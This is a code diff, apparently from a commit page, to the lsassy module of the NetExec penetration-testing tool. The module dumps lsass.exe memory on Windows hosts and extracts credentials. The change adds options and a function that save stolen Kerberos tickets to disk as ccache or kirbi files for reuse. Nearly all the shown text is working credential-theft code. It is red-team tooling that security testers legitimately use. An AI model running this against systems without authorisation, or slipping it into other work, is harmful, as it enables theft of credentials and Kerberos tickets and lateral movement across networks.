44# https://beta.hackndo.com [FR]
55# https://en.hackndo.com [EN]
66
7+ import os
8+ import sys
79from lsassy .dumper import Dumper
810from lsassy .impacketfile import ImpacketFile
911from lsassy .parser import Parser
1012from lsassy .session import Session
1113
14+ from impacket .krb5 .ccache import CCache
15+
1216from nxc .helpers .bloodhound import add_user_bh
17+ from nxc .paths import NXC_PATH
1318
1419
1520class NXCModule :
@@ -21,13 +26,33 @@ def __init__(self, context=None, module_options=None):
2126 self .context = context
2227 self .module_options = module_options
2328 self .method = None
29+ self .dump_tickets = True
30+ self .save_dir = os .path .join (NXC_PATH , "modules" , "lsassy" )
31+ self .ticket_type = "ccache"
2432
2533 def options (self , context , module_options ):
26- """METHOD Method to use to dump lsass.exe with lsassy"""
34+ """
35+ METHOD Method to use to dump lsass.exe with lsassy
36+ DUMP_TICKETS If set, will dump Kerberos tickets (Default: True)
37+ SAVE_DIR Directory to save dumped tickets
38+ SAVE_TYPE Type of ticket to save, either 'kirbi' or 'ccache' (Default: 'ccache')
39+ """
2740 self .method = "comsvcs"
2841 if "METHOD" in module_options :
2942 self .method = module_options ["METHOD" ]
3043
44+ if "DUMP_TICKETS" in module_options :
45+ self .dump_tickets = module_options ["DUMP_TICKETS" ].lower () in ["true" ]
46+
47+ if "SAVE_DIR" in module_options :
48+ self .save_dir = module_options ["SAVE_DIR" ]
49+
50+ if "SAVE_TYPE" in module_options :
51+ self .ticket_type = module_options ["SAVE_TYPE" ]
52+ if self .ticket_type not in ["kirbi" , "ccache" ]:
53+ context .log .error (f"Invalid SAVE_TYPE '{ self .ticket_type } '. Supported types are 'kirbi' and 'ccache'." )
54+ sys .exit (1 )
55+
3156 def on_admin_login (self , context , connection ):
3257 host = connection .host
3358 domain_name = connection .domain
@@ -67,7 +92,6 @@ def on_admin_login(self, context, connection):
6792 context .log .fail ("Unable to parse lsass dump" )
6893 return False
6994 credentials , tickets , masterkeys = parsed
70-
7195 file .close ()
7296 context .log .debug ("Closed dumper file" )
7397 file_path = file .get_file_path ()
@@ -84,6 +108,9 @@ def on_admin_login(self, context, connection):
84108 if credentials is None :
85109 credentials = []
86110
111+ if self .dump_tickets and tickets :
112+ self .write_tickets (context , tickets , host )
113+
87114 for cred in credentials :
88115 c = cred .get_object ()
89116 context .log .debug (f"Cred: { c } " )
@@ -116,6 +143,52 @@ def on_admin_login(self, context, connection):
116143 context .log .debug ("Calling process_credentials" )
117144 self .process_credentials (context , connection , credentials_output )
118145
146+ def write_tickets (self , context , tickets , host ):
147+ if not tickets :
148+ context .log .display ("No Kerberos tickets found" )
149+ return
150+
151+ if not os .path .exists (self .save_dir ):
152+ try :
153+ os .makedirs (self .save_dir )
154+ context .log .debug (f"Created directory: { self .save_dir } for saving tickets" )
155+ except Exception as e :
156+ context .log .fail (f"Error creating directory { self .save_dir } : { e } " )
157+ return
158+
159+ ticket_count = 0
160+ for ticket in tickets :
161+ for filename in ticket .kirbi_data :
162+ try :
163+ base_filename = filename .split (".kirbi" )[0 ]
164+ timestamp = ticket .EndTime .strftime ("%Y%m%d%H%M%S" )
165+ kirbi_data = ticket .kirbi_data [filename ]
166+
167+ if self .ticket_type == "ccache" :
168+ ccache = CCache ()
169+ ccache .fromKRBCRED (kirbi_data .dump ())
170+ ticket_filename = f"{ base_filename } _{ host } _{ timestamp } .ccache"
171+ ticket_content = ccache .getData ()
172+ else :
173+ ticket_filename = f"{ base_filename } _{ host } _{ timestamp } .kirbi"
174+ ticket_content = kirbi_data .dump ()
175+
176+ ticket_path = os .path .join (self .save_dir , ticket_filename )
177+
178+ with open (ticket_path , "wb" ) as f :
179+ f .write (ticket_content )
180+
181+ ticket_count += 1
182+ context .log .debug (f"Saved ticket: { ticket_filename } " )
183+
184+ except Exception as e :
185+ context .log .fail (f"Error writing ticket { filename } : { e } " )
186+
187+ if ticket_count > 0 :
188+ context .log .highlight (f"Saved { ticket_count } Kerberos ticket(s) to { self .save_dir } " )
189+ else :
190+ context .log .display ("No tickets were saved" )
191+
119192 def process_credentials (self , context , connection , credentials ):
120193 if len (credentials ) == 0 :
121194 context .log .display ("No credentials found" )
0 commit comments